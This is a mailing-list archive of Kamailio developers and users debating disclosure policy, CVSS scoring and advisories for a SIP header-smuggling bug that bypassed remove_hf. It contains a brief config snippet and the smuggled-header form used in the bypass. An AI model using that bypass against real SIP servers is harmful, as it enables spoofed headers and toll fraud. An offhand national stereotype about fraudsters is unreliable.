jbrower(a)signalogic.com
*Subject:* Re: [SR-Users] Kamailio vulnerable to header smuggling
possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw(a)skalatan.de> wrote:
Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was
not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a
well-known and accepted metric for vulnerabilities: CVSS [1]
If I calculate the CVSS score for this issue, it results in a medium level
with score 5.8. But this is of course again (at least somewhat) influenced
from my point of view to this bug.
Some projects have a policy to only do a security announcement for
vulnerabilities with score high and critical. For Kamailio this is not yet
defined in a detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the list) are
interested in improving the project security processes – this wiki page
with the current process might be a good starting point:
https://www.kamailio.org/wiki/security/policy
Please suggest your improvements to the existing process (preferable in a
new discussion thread) on the sr-dev list. If you want to do it in private,
feel free contact the management list.
Well, first suggestion after having read it: to start actually following
what's documented before any improvements are made. ;-) The policy says
plain and simple (quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on
the kamailio-business mailing list, sr-dev, sr-users as well as related
lists. The advisories will also be published on the kamailio.org web site.
CVE entries should be created for vulnerabilities in the core and major
modules, for rarely used modules this is not necessary. If there are
several security issues together in one release, they should be announced
together.
I might be missing something obvious, but there is no "if" or "maybe"
or
"it depends". Any module that has been 18 years with the project qualifies
to be a "major module" to me...
-Max
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
10:34 a.m.
Well, you have defined one definitive line between being stupid and following some current
practise :-)
I like to think we as a project have an educational role as well. In this case explaining
the bug we had and what it can cause.
We should definitely add a warning along the lines you write too - relying on headers
alone is bad and not best current practise.
/O
On 3 Sep 2020, at 10:14, davy van de moere
<davy.van.de.moere(a)gmail.com> wrote:
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system
where the security of the whole relies on the ability to remove (or only keep specific)
custom sip headers, you will wake up one morning realizing a bunch of people in Palestine
made a gazillion calls over your system to expensive destinations, bringing you to or over
the edge of bankruptcy.
Security should be multilayered, one header sneaking through should not give any big
problems.
From a security point of view, this could be called a 'normal' security risk, I
think. It's a bit more than low as you can do more than just get some info, but
it's not high, as you would need to have many other factors going wrong to get to a
successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej(a)edvina.net
<mailto:oej@edvina.net>>:
One thought - we may have to separate security vulnerability reporting from security
advisory documents. I think in some cases, where a common use of a product can lead to
issues (but it is not clearly a bug that cause crashes in our code) we may have to send
out an advisory and publish it in the same way. The problem with that is where the border
is between just doing stupid things like taking SQL statements from SIP headers and issues
like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a
very common dialplan construct (that was documented in many places) was indeed very
dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan
construct that existed in many, many production systems. In the end, if I remember
correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
On 2 Sep 2020, at 21:25, Henning Westerholt
<hw(a)skalatan.de <mailto:hw@skalatan.de>> wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of Kamailio can cause Kamailio to
crash or lock up by sending messages to the server process.”
So there is some limitation regarding vulnerability criticality defined in there. But of
course (as I already mentioned), it might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
From: Maxim Sobolev <sobomax(a)sippysoft.com <mailto:sobomax@sippysoft.com>>
Sent: Wednesday, September 2, 2020 9:15 PM
To: Henning Westerholt <hw(a)skalatan.de <mailto:hw@skalatan.de>>
Cc: Daniel-Constantin Mierla <miconda(a)gmail.com <mailto:miconda@gmail.com>>;
yufei.tao(a)gmail.com <mailto:yufei.tao@gmail.com>; Olle E. Johansson
<oej(a)edvina.net <mailto:oej@edvina.net>>; Gerry | Rigatta
<gjacobsen(a)rigatta.com <mailto:gjacobsen@rigatta.com>>; Kamailio (SER) - Users
Mailing List <sr-users(a)lists.kamailio.org
<mailto:sr-users@lists.kamailio.org>>; jbrower(a)signalogic.com
<mailto:jbrower@signalogic.com>
Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of
remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw(a)skalatan.de
<mailto:hw@skalatan.de>> wrote:
Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory from 2018 was not meant as
advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there exists a well-known and accepted
metric for vulnerabilities: CVSS [1]
If I calculate the CVSS score for this issue, it results in a medium level with score
5.8. But this is of course again (at least somewhat) influenced from my point of view to
this bug.
Some projects have a policy to only do a security announcement for vulnerabilities with
score high and critical. For Kamailio this is not yet defined in a detailed way, due to
the size of the project and other factors.
So, If people in this discussion (or other people on the list) are interested in
improving the project security processes – this wiki page with the current process might
be a good starting point:https://www.kamailio.org/wiki/security/policy
<https://www.kamailio.org/wiki/security/policy>
Please suggest your improvements to the existing process (preferable in a new discussion
thread) on the sr-dev list. If you want to do it in private, feel free contact the
management list.
Well, first suggestion after having read it: to start actually following what's
documented before any improvements are made. ;-) The policy says plain and simple
(quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including an CVE ID, on the
kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories
will also be published on the kamailio.org <http://kamailio.org/> web site.
CVE entries should be created for vulnerabilities in the core and major modules, for
rarely used modules this is not necessary. If there are several security issues together
in one release, they should be announced together.
I might be missing something obvious, but there is no "if" or "maybe"
or "it depends". Any module that has been 18 years with the project qualifies to
be a "major module" to me...
-Max
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
22 Sep
22 Sep
11:31 a.m.
I know I am waking up an old debate by replying to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I
spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some misconceptions
debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptio…
The ToC:
1. Introduction
2. A bit of background before diving in
3. Claim: this issue does not affect many organisations
4. Claim: custom headers are only known to internal users
5. Claim: if it’s an 18 year old bug, it can’t have been high risk
6. Claim: this should have been found if people were doing proper testing
7. Claim: infrequent advisories = project is not serious about security
8. Claim: limited number of advisories = project is more secure
9. Claim: if you’re serious about security, monitor the mailing lists
10. Claim: security experts should decide what is a security vulnerability
11. Discussion: when should the project publish an advisory?
12. Discussion: educational security role
13. Moving forward
Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH
Register of Companies: AG Charlottenburg HRB 173016 B
Company HQ: Pappelallee 78/79, 10437 Berlin, Germany
PGP/Encrypted comms: https://keybase.io/sandrogauci
Our blog: https://www.rtcsec.com
Other points of contact: https://enablesecurity.com/#contact-us
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
Well, you have defined one definitive line between
being stupid and following some current practise :-)
I like to think we as a project have an educational role as well. In this case explaining
the bug we had and what it can cause.
We should definitely add a warning along the lines you write too - relying on headers
alone is bad and not best current practise.
/O
> On 3 Sep 2020, at 10:14, davy van de moere <davy.van.de.moere(a)gmail.com>
wrote:
>
> After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system
where the security of the whole relies on the ability to remove (or only keep specific)
custom sip headers, you will wake up one morning realizing a bunch of people in Palestine
made a gazillion calls over your system to expensive destinations, bringing you to or over
the edge of bankruptcy.
>
> Security should be multilayered, one header sneaking through should not give any big
problems.
>
> From a security point of view, this could be called a 'normal' security risk,
I think. It's a bit more than low as you can do more than just get some info, but
it's not high, as you would need to have many other factors going wrong to get to a
successful exploit.
>
>
>
>
> Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej(a)edvina.net>et>:
>> One thought - we may have to separate security vulnerability reporting from
security advisory documents. I think in some cases, where a common use of a product can
lead to issues (but it is not clearly a bug that cause crashes in our code) we may have to
send out an advisory and publish it in the same way. The problem with that is where the
border is between just doing stupid things like taking SQL statements from SIP headers and
issues like this that are harder to catch.
>>
>> We had a long and hard discussion about this in the Asterisk project many years
ago - a very common dialplan construct (that was documented in many places) was indeed
very dangerous. It wasn’t any code in asterisk that caused the issue, just a common
dialplan construct that existed in many, many production systems. In the end, if I
remember correctly, the project issued an advisory and added a README about it.
>>
>> Maybe that’s a way forward.
>>
>> /O
>>
>>> On 2 Sep 2020, at 21:25, Henning Westerholt <hw(a)skalatan.de> wrote:
>>>
>>> Hello Maxim,____
>>> __ __
>>> have a look to the first sentence:____
>>> __ __
>>> “A security vulnerability is (for example) when a user of Kamailio can cause
Kamailio to crash or lock up by sending messages to the server process.”____
>>> __ __
>>> So there is some limitation regarding vulnerability criticality defined in
there. But of course (as I already mentioned), it might be improved to e.g. use CVSS
scoring instead.____
>>> __ __
>>> Cheers,____
>>> __ __
>>> Henning____
>>> __ __
>>> *From:* Maxim Sobolev <sobomax(a)sippysoft.com>
>>> *Sent:* Wednesday, September 2, 2020 9:15 PM
>>> *To:* Henning Westerholt <hw(a)skalatan.de>
>>> *Cc:* Daniel-Constantin Mierla <miconda(a)gmail.com>om>;
yufei.tao(a)gmail.com; Olle E. Johansson <oej(a)edvina.net>et>; Gerry | Rigatta
<gjacobsen(a)rigatta.com>om>; Kamailio (SER) - Users Mailing List
<sr-users(a)lists.kamailio.org>rg>; jbrower(a)signalogic.com
>>> *Subject:* Re: [SR-Users] Kamailio vulnerable to header smuggling possible
due to bypass of remove_hf____
>>> __ __
>>> On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw(a)skalatan.de>
wrote:____
>>>> Hello Maxim,____
>>>> ____
>>>> thank you for the clarification, appreciated.____
>>> __ __
>>> No worries, hope to have a civilized discussion.____
>>> ____
>>>> Just one clarification, my comment regarding the advisory from 2018 was
not meant as advertisement etc..____
>>> __ __
>>> Point taken, I dramatized of course to underline my point. ____
>>> __ __
>>>> One suggestion to objectify the whole discussion, there exists a
well-known and accepted metric for vulnerabilities: CVSS [1]____
>>>> If I calculate the CVSS score for this issue, it results in a medium
level with score 5.8. But this is of course again (at least somewhat) influenced from my
point of view to this bug.____
>>>> ____
>>>> Some projects have a policy to only do a security announcement for
vulnerabilities with score high and critical. For Kamailio this is not yet defined in a
detailed way, due to the size of the project and other factors.____
>>>> ____
>>>> So, If people in this discussion (or other people on the list) are
interested in improving the project security processes – this wiki page with the current
process might be a good starting point:https://www.kamailio.org/wiki/security/policy____
>>>> ____
>>>> Please suggest your improvements to the existing process (preferable in a
new discussion thread) on the sr-dev list. If you want to do it in private, feel free
contact the management list.____
>>> __ __
>>> Well, first suggestion after having read it: to start actually following
what's documented before any improvements are made. ;-) The policy says plain and
simple (quote):____
>>> __ __
>>>> Publishing security vulnerabilities____
> Kamailio
will publish security vulnerabilities, including an CVE ID, on the kamailio-business
mailing list, sr-dev, sr-users as well as related lists. The advisories will also be
published on the kamailio.org web site. ____
> ____
> CVE entries should be created for vulnerabilities in the core and major modules, for
rarely used modules this is not necessary. If there are several security issues together
in one release, they should be announced together. ____
____
I might be missing something obvious, but there is no "if" or "maybe"
or "it depends". Any module that has been 18 years with the project qualifies to
be a "major module" to me... ____
__ __
-Max
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
12:55 p.m.
At least in my case you push out some inaccurate information. I never
said my "deployments were not affected since non-standard headers were
not used".
Iirc, I only said that none of my deployments were affected by this
issue -- respectively quoting from my message: "None of my deployments
were affected." from:
https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html
. If I am mistaken and you found another remark from me, just point to
my message from where you got that.
So, for further clarification: either non standard headers were used for
non-security related features (e.g., used for troubleshooting purposes)
or the issue didn't affect the deployments from different perspective
(e.g., traffic was checked to be from a trusted source).
And remember that the issue was not with remove_hf() function itself,
like it is somehow propagated by blog posts, but it was in the parser,
so use of custom headers between two kamailio was not affected if an
edge proxy did something like:
remove_hf("X-H");
append_hf("X-H: abc\r\n");
And then, if next hop Kamailio was using $hdr(X-H), it will get "abc"
(value added by previous Kamailio), not what a bad actor would add as
"X-H : badvalue\r\n" sip header.
Then you listed two commits you consider there should have been security
advisories about. Have you analysed the code and found cases where
security was affected, or is just your opinion in based on the commit
message and code patch?
First, I would love that one or many spend time to dissect commits and
see their security implication. I am more that happy when someone does
it and let's everyone be aware of, also to write and publish appropriate
advisory.
Otherwise, for those two specific commits you listed, the one from
Federico is a memory leak, I haven't spent time on going deeper to find
the specific cases, From header should be parsed in SIP requests. My
commit was done based on a static code analyzer and again I was not
spending time to see what implications are.
In general, in the code we work a lot with str structure (non-zero
terminated char* and len), many of the "safety" commits done lately were
to silent static code analysers, not meaning that it was a real issue
found behind. Some can be, and here we appreciate the time and effort of
people like you to dissect them and make appropriate advisories.
I would like people do verify what they write about what specific people
(of course, specially for my person) said before pushing out, and
eventually validate a commit to fix something has security impact,
instead of just personal guessing, if the intention is to help the
project and not to create more confusion or other reactions for what so
ever reasons.
This should be my last comment on the thread, I do not want to spend any
more time in clarifying what people think I said or I did.
Cheers,
Daniel
On 22.09.20 11:31, Sandro Gauci wrote:
I know I am waking up an old debate by replying to
this thread. Deeply
sorry :-)
Finally got around to writing up a blog post about this very thread
where I (think) I spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some
misconceptions debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptio…
<https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptions/>
The ToC:
1. Introduction
2. A bit of background before diving in
3. Claim: this issue does not affect many organisations
4. Claim: custom headers are only known to internal users
5. Claim: if it’s an 18 year old bug, it can’t have been high risk
6. Claim: this should have been found if people were doing proper testing
7. Claim: infrequent advisories = project is not serious about security
8. Claim: limited number of advisories = project is more secure
9. Claim: if you’re serious about security, monitor the mailing lists
10. Claim: security experts should decide what is a security vulnerability
11. Discussion: when should the project publish an advisory?
12. Discussion: educational security role
13. Moving forward
Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH
Register of Companies: AG Charlottenburg HRB 173016 B
Company HQ: Pappelallee 78/79, 10437 Berlin,
Germany
PGP/Encrypted comms: https://keybase.io/sandrogauci
Our blog: https://www.rtcsec.com
Other points of contact: https://enablesecurity.com/#contact-us
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
--
Daniel-Constantin Mierla -- www.asipto.com
www.twitter.com/miconda -- www.linkedin.com/in/miconda
Funding: https://www.paypal.me/dcmierla
Well, you have defined one definitive line
between being stupid and
following some current practise :-)
I like to think we as a project have an educational role as well. In
this case explaining the bug we had and what it can cause.
We should definitely add a warning along the lines you write too -
relying on headers alone is bad and not best current practise.
/O
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users On 3 Sep 2020, at 10:14, davy van de moere
<davy.van.de.moere(a)gmail.com <mailto:davy.van.de.moere@gmail.com>>
wrote:
After 20 years in voip, my 2 cents on this, if you succeed in
creating a voip system where the security of the whole relies on the
ability to remove (or only keep specific) custom sip headers, you
will wake up one morning realizing a bunch of people in
Palestine made a gazillion calls over your system to expensive
destinations, bringing you to or over the edge of bankruptcy.
Security should be multilayered, one header sneaking through should
not give any big problems.
From a security point of view, this could be called a 'normal'
security risk, I think. It's a bit more than low as you can do more
than just get some info, but it's not high, as you would need to
have many other factors going wrong to get to a successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej(a)edvina.net
<mailto:oej@edvina.net>>:
One thought - we may have to separate security vulnerability
reporting from security advisory documents. I think in some
cases, where a common use of a product can lead to issues (but
it is not clearly a bug that cause crashes in our code) we may
have to send out an advisory and publish it in the same way. The
problem with that is where the border is between just doing
stupid things like taking SQL statements from SIP headers and
issues like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk
project many years ago - a very common dialplan construct (that
was documented in many places) was indeed very dangerous. It
wasn’t any code in asterisk that caused the issue, just a common
dialplan construct that existed in many, many production
systems. In the end, if I remember correctly, the project issued
an advisory and added a README about it.
Maybe that’s a way forward.
/O
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
On 2 Sep 2020, at 21:25, Henning Westerholt
<hw(a)skalatan.de
<mailto:hw@skalatan.de>> wrote:
Hello Maxim,
have a look to the first sentence:
“A security vulnerability is (for example) when a user of
Kamailio can cause Kamailio to crash or lock up by sending
messages to the server process.”
So there is some limitation regarding vulnerability criticality
defined in there. But of course (as I already mentioned), it
might be improved to e.g. use CVSS scoring instead.
Cheers,
Henning
*From:* Maxim Sobolev <sobomax(a)sippysoft.com
<mailto:sobomax@sippysoft.com>>
*Sent:* Wednesday, September 2, 2020 9:15 PM
*To:* Henning Westerholt <hw(a)skalatan.de <mailto:hw@skalatan.de>>
*Cc:* Daniel-Constantin Mierla <miconda(a)gmail.com
<mailto:miconda@gmail.com>>; yufei.tao(a)gmail.com
<mailto:yufei.tao@gmail.com>; Olle E. Johansson <oej(a)edvina.net
<mailto:oej@edvina.net>>; Gerry | Rigatta
<gjacobsen(a)rigatta.com <mailto:gjacobsen@rigatta.com>>;
Kamailio (SER) - Users Mailing List
<sr-users(a)lists.kamailio.org
<mailto:sr-users@lists.kamailio.org>>; jbrower(a)signalogic.com
<mailto:jbrower@signalogic.com>
*Subject:* Re: [SR-Users] Kamailio vulnerable to header
smuggling possible due to bypass of remove_hf
On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt
<hw(a)skalatan.de <mailto:hw@skalatan.de>> wrote:
Hello Maxim,
thank you for the clarification, appreciated.
No worries, hope to have a civilized discussion.
Just one clarification, my comment regarding the advisory
from 2018 was not meant as advertisement etc..
Point taken, I dramatized of course to underline my point.
One suggestion to objectify the whole discussion, there
exists a well-known and accepted metric for
vulnerabilities: CVSS [1]
If I calculate the CVSS score for this issue, it results in
a medium level with score 5.8. But this is of course again
(at least somewhat) influenced from my point of view to
this bug.
Some projects have a policy to only do a security
announcement for vulnerabilities with score high and
critical. For Kamailio this is not yet defined in a
detailed way, due to the size of the project and other factors.
So, If people in this discussion (or other people on the
list) are interested in improving the project security
processes – this wiki page with the current process might
be a good starting
point:https://www.kamailio.org/wiki/security/policy
<https://www.kamailio.org/wiki/security/policy>
Please suggest your improvements to the existing process
(preferable in a new discussion thread) on the sr-dev list.
If you want to do it in private, feel free contact the
management list.
Well, first suggestion after having read it: to start actually
following what's documented before any improvements are made.
;-) The policy says plain and simple (quote):
Publishing security vulnerabilities
Kamailio will publish security vulnerabilities, including
an CVE ID, on the kamailio-business mailing list, sr-dev,
sr-users as well as related lists. The advisories will also
be published on the kamailio.org <http://kamailio.org/> web
site.
CVE entries should be created for vulnerabilities in the
core and major modules, for rarely used modules this is not
necessary. If there are several security issues together in
one release, they should be announced together.
I might be missing something obvious, but there is no "if" or
"maybe" or "it depends". Any module that has been 18 years with
the project qualifies to be a "major module" to me...
-Max
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
1:30 p.m.
Hi Daniel,
your frustration is understandable and I hope you excuse a further comment. What is
missing, IMVHO, is a central point of reference for all Kamailio security issues. Googling
for “Kamailio security” reveals
https://www.cvedetails.com/vulnerability-list/vendor_id-15820/Kamailio.html as the most
comprehensive source. However it lacks this latest header bug.
My suggestion would be to create a special “Security Advisories” page on the kamailio
website which points to security news, so that Google indexes that page. As for example
Asterisk has https://www.asterisk.org/downloads/security-advisories/
And create on github an extra “security” label so one can filter for that.
https://github.com/kamailio/kamailio/labels
And then point from the above mentioned “Security Advisories” page to a filtered github
view.
Thanks for your great work on Kamailio. Its highly appreciated!
Best Gerry
On 22 Sep 2020, at 12:55, Daniel-Constantin Mierla
<miconda(a)gmail.com> wrote:
At least in my case you push out some inaccurate information. I never said my
"deployments were not affected since non-standard headers were not used".
Iirc, I only said that none of my deployments were affected by this issue -- respectively
quoting from my message: "None of my deployments were affected."
from:https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.ht…
<https://lists.kamailio.org/pipermail/sr-users/2020-September/110315.html> . If I am
mistaken and you found another remark from me, just point to my message from where you got
that.
So, for further clarification: either non standard headers were used for non-security
related features (e.g., used for troubleshooting purposes) or the issue didn't affect
the deployments from different perspective (e.g., traffic was checked to be from a trusted
source).
And remember that the issue was not with remove_hf() function itself, like it is somehow
propagated by blog posts, but it was in the parser, so use of custom headers between two
kamailio was not affected if an edge proxy did something like:
remove_hf("X-H");
append_hf("X-H: abc\r\n");
And then, if next hop Kamailio was using $hdr(X-H), it will get "abc" (value
added by previous Kamailio), not what a bad actor would add as "X-H :
badvalue\r\n" sip header.
Then you listed two commits you consider there should have been security advisories
about. Have you analysed the code and found cases where security was affected, or is just
your opinion in based on the commit message and code patch?
First, I would love that one or many spend time to dissect commits and see their security
implication. I am more that happy when someone does it and let's everyone be aware of,
also to write and publish appropriate advisory.
Otherwise, for those two specific commits you listed, the one from Federico is a memory
leak, I haven't spent time on going deeper to find the specific cases, From header
should be parsed in SIP requests. My commit was done based on a static code analyzer and
again I was not spending time to see what implications are.
In general, in the code we work a lot with str structure (non-zero terminated char* and
len), many of the "safety" commits done lately were to silent static code
analysers, not meaning that it was a real issue found behind. Some can be, and here we
appreciate the time and effort of people like you to dissect them and make appropriate
advisories.
I would like people do verify what they write about what specific people (of course,
specially for my person) said before pushing out, and eventually validate a commit to fix
something has security impact, instead of just personal guessing, if the intention is to
help the project and not to create more confusion or other reactions for what so ever
reasons.
This should be my last comment on the thread, I do not want to spend any more time in
clarifying what people think I said or I did.
Cheers,
Daniel
On 22.09.20 11:31, Sandro Gauci wrote:
I know I am waking up an old debate by replying
to this thread. Deeply sorry :-)
Finally got around to writing up a blog post about this very thread where I (think) I
spared absolutely no one, not even myself.
My post is called "The great Kamailio security debate and some misconceptions
debunked" and can be read here:
https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptio…
<https://www.rtcsec.com/2020/09/02-kamailio-security-debate-and-misconceptions/>
The ToC:
Introduction
A bit of background before diving in
Claim: this issue does not affect many organisations
Claim: custom headers are only known to internal users
Claim: if it’s an 18 year old bug, it can’t have been high risk
Claim: this should have been found if people were doing proper testing
Claim: infrequent advisories = project is not serious about security
Claim: limited number of advisories = project is more secure
Claim: if you’re serious about security, monitor the mailing lists
Claim: security experts should decide what is a security vulnerability
Discussion: when should the project publish an advisory?
Discussion: educational security role
Moving forward
Hope that it is at least interesting and perhaps even constructive!
Best wishes,
--
Sandro Gauci, CEO at Enable Security GmbH
Register of Companies: AG Charlottenburg HRB 173016 B
Company HQ: Pappelallee 78/79, 10437 Berlin, Germany
PGP/Encrypted comms: https://keybase.io/sandrogauci
<https://keybase.io/sandrogauci>
Our blog: https://www.rtcsec.com
<https://www.rtcsec.com/>
Other points of contact: https://enablesecurity.com/#contact-us
<https://enablesecurity.com/#contact-us>
On Thu, 3 Sep 2020, at 10:34 AM, Olle E. Johansson wrote:
--
Daniel-Constantin Mierla -- www.asipto.com <http://www.asipto.com/>
www.twitter.com/miconda <http://www.twitter.com/miconda> --
www.linkedin.com/in/miconda <http://www.linkedin.com/in/miconda>
Funding: https://www.paypal.me/dcmierla
<https://www.paypal.me/dcmierla>_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users> Well, you have defined one definitive line
between being stupid and following some current practise :-)
I like to think we as a project have an educational role as well. In this case explaining
the bug we had and what it can cause.
We should definitely add a warning along the lines you write too - relying on headers
alone is bad and not best current practise.
/O
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users> On 3 Sep 2020, at 10:14, davy van de moere
<davy.van.de.moere(a)gmail.com <mailto:davy.van.de.moere@gmail.com>> wrote:
After 20 years in voip, my 2 cents on this, if you succeed in creating a voip system
where the security of the whole relies on the ability to remove (or only keep specific)
custom sip headers, you will wake up one morning realizing a bunch of people in Palestine
made a gazillion calls over your system to expensive destinations, bringing you to or over
the edge of bankruptcy.
Security should be multilayered, one header sneaking through should not give any big
problems.
From a security point of view, this could be called a 'normal' security risk, I
think. It's a bit more than low as you can do more than just get some info, but
it's not high, as you would need to have many other factors going wrong to get to a
successful exploit.
Op do 3 sep. 2020 om 09:18 schreef Olle E. Johansson <oej(a)edvina.net
<mailto:oej@edvina.net>>:
One thought - we may have to separate security vulnerability reporting from security
advisory documents. I think in some cases, where a common use of a product can lead to
issues (but it is not clearly a bug that cause crashes in our code) we may have to send
out an advisory and publish it in the same way. The problem with that is where the border
is between just doing stupid things like taking SQL statements from SIP headers and issues
like this that are harder to catch.
We had a long and hard discussion about this in the Asterisk project many years ago - a
very common dialplan construct (that was documented in many places) was indeed very
dangerous. It wasn’t any code in asterisk that caused the issue, just a common dialplan
construct that existed in many, many production systems. In the end, if I remember
correctly, the project issued an advisory and added a README about it.
Maybe that’s a way forward.
/O
> On 2 Sep 2020, at 21:25, Henning Westerholt <hw(a)skalatan.de
<mailto:hw@skalatan.de>> wrote:
>
> Hello Maxim,
>
> have a look to the first sentence:
>
> “A security vulnerability is (for example) when a user of Kamailio can cause Kamailio
to crash or lock up by sending messages to the server process.”
>
> So there is some limitation regarding vulnerability criticality defined in there. But
of course (as I already mentioned), it might be improved to e.g. use CVSS scoring
instead.
>
> Cheers,
>
> Henning
>
> From: Maxim Sobolev <sobomax(a)sippysoft.com
<mailto:sobomax@sippysoft.com>>
> Sent: Wednesday, September 2, 2020 9:15 PM
> To: Henning Westerholt <hw(a)skalatan.de <mailto:hw@skalatan.de>>
> Cc: Daniel-Constantin Mierla <miconda(a)gmail.com
<mailto:miconda@gmail.com>>; yufei.tao(a)gmail.com
<mailto:yufei.tao@gmail.com>; Olle E. Johansson <oej(a)edvina.net
<mailto:oej@edvina.net>>; Gerry | Rigatta <gjacobsen(a)rigatta.com
<mailto:gjacobsen@rigatta.com>>; Kamailio (SER) - Users Mailing List
<sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>>;
jbrower(a)signalogic.com <mailto:jbrower@signalogic.com>
> Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to
bypass of remove_hf
>
> On Wed, Sep 2, 2020 at 11:30 AM Henning Westerholt <hw(a)skalatan.de
<mailto:hw@skalatan.de>> wrote:
> Hello Maxim,
>
> thank you for the clarification, appreciated.
>
> No worries, hope to have a civilized discussion.
>
> Just one clarification, my comment regarding the advisory from 2018 was not meant as
advertisement etc..
>
> Point taken, I dramatized of course to underline my point.
>
> One suggestion to objectify the whole discussion, there exists a well-known and
accepted metric for vulnerabilities: CVSS [1]
> If I calculate the CVSS score for this issue, it results in a medium level with score
5.8. But this is of course again (at least somewhat) influenced from my point of view to
this bug.
>
> Some projects have a policy to only do a security announcement for vulnerabilities
with score high and critical. For Kamailio this is not yet defined in a detailed way, due
to the size of the project and other factors.
>
> So, If people in this discussion (or other people on the list) are interested in
improving the project security processes – this wiki page with the current process might
be a good starting point:https://www.kamailio.org/wiki/security/policy
<https://www.kamailio.org/wiki/security/policy>
>
> Please suggest your improvements to the existing process (preferable in a new
discussion thread) on the sr-dev list. If you want to do it in private, feel free contact
the management list.
>
> Well, first suggestion after having read it: to start actually following what's
documented before any improvements are made. ;-) The policy says plain and simple
(quote):
>
> Publishing security vulnerabilities
>
> Kamailio will publish security vulnerabilities, including an CVE ID, on the
kamailio-business mailing list, sr-dev, sr-users as well as related lists. The advisories
will also be published on the kamailio.org <http://kamailio.org/> web site.
>
> CVE entries should be created for vulnerabilities in the core and major modules, for
rarely used modules this is not necessary. If there are several security issues together
in one release, they should be announced together.
>
> I might be missing something obvious, but there is no "if" or
"maybe" or "it depends". Any module that has been 18 years with the
project qualifies to be a "major module" to me...
>
> -Max
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
